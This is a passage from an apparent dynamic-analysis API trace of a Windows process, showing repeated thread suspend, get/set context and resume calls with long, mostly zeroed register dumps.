Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0123.182] ResumeThread (hThread=0x130) returned 0x1
[0123.182] CloseHandle (hObject=0x130) returned 1
[0123.182] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0123.215] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0123.249] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0123.330] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0123.406] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0123.406] SuspendThread (hThread=0x130) returned 0x0
[0123.406] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147bb8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12e12c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0123.506] ResumeThread (hThread=0x130) returned 0x1
[0123.506] CloseHandle (hObject=0x130) returned 1
[0123.506] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0123.540] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0123.574] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0123.714] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0123.790] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0123.790] SuspendThread (hThread=0x130) returned 0x0
[0123.791] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001479e8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x15b0a00, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0123.858] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001479e0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0123.935] ResumeThread (hThread=0x130) returned 0x1
[0123.935] CloseHandle (hObject=0x130) returned 1
[0123.935] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0123.974] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0124.009] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0124.084] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0124.159] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0124.159] SuspendThread (hThread=0x130) returned 0x0
[0124.159] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147bb0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x15bc0a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0124.311] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147ba8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, 